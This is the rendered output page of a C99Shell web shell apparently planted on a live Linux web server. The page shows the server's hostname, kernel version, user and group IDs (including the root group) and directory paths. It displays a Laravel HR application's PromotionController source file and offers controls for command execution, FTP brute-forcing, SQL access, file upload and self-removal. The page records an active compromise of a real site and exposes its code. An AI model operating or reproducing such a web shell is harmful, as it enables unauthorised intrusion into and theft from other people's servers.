!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PromotionController.php (7.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Designation;
use 
App\Models\Employee;
use 
App\Models\Promotion;
use 
App\Models\Utility;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Mail;

class 
PromotionController extends Controller
{
    public function 
index()
    {
        if(
\Auth::user()->can('manage promotion'))
        {
            if(
Auth::user()->type == 'Employee')
            {
                
$emp        Employee::where('user_id''='\Auth::user()->id)->first();
                
$promotions Promotion::where('created_by''='\Auth::user()->creatorId())->where('employee_id''='$emp->id)->with(['designation','employee'])->get();
            }
            else
            {
                
$promotions Promotion::where('created_by''='\Auth::user()->creatorId())->with(['designation','employee'])->get();
            }

            return 
view('promotion.index'compact('promotions'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
create()
    {
        if(
\Auth::user()->can('create promotion'))
        {
            
$designations Designation::where('created_by'Auth::user()->creatorId())->get()->pluck('name''id');
            
$employees    Employee::where('created_by'Auth::user()->creatorId())->get()->pluck('name''id');

            return 
view('promotion.create'compact('employees''designations'));
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }

    public function 
store(Request $request)
    {
        if(
\Auth::user()->can('create promotion'))
        {
            
$validator \Validator::make(
                
$request->all(), [
                                   
'employee_id' => 'required',
                                   
'designation_id' => 'required',
                                   
'promotion_title' => 'required',
                                   
'promotion_date' => 'required',
                               ]
            );

            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$promotion                  = new Promotion();
            
$promotion->employee_id     $request->employee_id;
            
$promotion->designation_id  $request->designation_id;
            
$promotion->promotion_title $request->promotion_title;
            
$promotion->promotion_date  $request->promotion_date;
            
$promotion->description     $request->description;
            
$promotion->created_by      \Auth::user()->creatorId();
            
$promotion->save();

            
$setings Utility::settings();
            if(
$setings['promotion_sent'] == 1)
            {
                
$employee               Employee::find($promotion->employee_id);
                
$designation            Designation::find($promotion->designation_id);
                
$promotion->designation $designation->name;
                
$promotionArr = [
                    
'employee_name'=>$employee->name,
                    
'promotion_designation'  =>$promotion->designation,
                    
'promotion_title'  =>$promotion->promotion_title,
                    
'promotion_date'  =>$promotion->promotion_date,

                ];

                
$resp Utility::sendEmailTemplate('promotion_sent', [$employee->email], $promotionArr);

                return 
redirect()->route('promotion.index')->with('success'__('Promotion  successfully created.'). ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));


            }

            return 
redirect()->route('promotion.index')->with('success'__('Promotion  successfully created.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
show(Promotion $promotion)
    {
        return 
redirect()->route('promotion.index');
    }

    public function 
edit(Promotion $promotion)
    {
        
$designations Designation::where('created_by'Auth::user()->creatorId())->get()->pluck('name''id');
        
$employees    Employee::where('created_by'Auth::user()->creatorId())->get()->pluck('name''id');
        if(
\Auth::user()->can('edit promotion'))
        {
            if(
$promotion->created_by == \Auth::user()->creatorId())
            {
                return 
view('promotion.edit'compact('promotion''employees''designations'));
            }
            else
            {
                return 
response()->json(['error' => __('Permission denied.')], 401);
            }
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }

    public function 
update(Request $requestPromotion $promotion)
    {
        if(
\Auth::user()->can('edit promotion'))
        {
            if(
$promotion->created_by == \Auth::user()->creatorId())
            {
                
$validator \Validator::make(
                    
$request->all(), [
                                       
'employee_id' => 'required',
                                       
'designation_id' => 'required',
                                       
'promotion_title' => 'required',
                                       
'promotion_date' => 'required',
                                   ]
                );

                if(
$validator->fails())
                {
                    
$messages $validator->getMessageBag();

                    return 
redirect()->back()->with('error'$messages->first());
                }

                
$promotion->employee_id     $request->employee_id;
                
$promotion->designation_id  $request->designation_id;
                
$promotion->promotion_title $request->promotion_title;
                
$promotion->promotion_date  $request->promotion_date;
                
$promotion->description     $request->description;
                
$promotion->save();

                return 
redirect()->route('promotion.index')->with('success'__('Promotion successfully updated.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
destroy(Promotion $promotion)
    {
        if(
\Auth::user()->can('delete promotion'))
        {
            if(
$promotion->created_by == \Auth::user()->creatorId())
            {
                
$promotion->delete();

                return 
redirect()->route('promotion.index')->with('success'__('Promotion successfully deleted.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--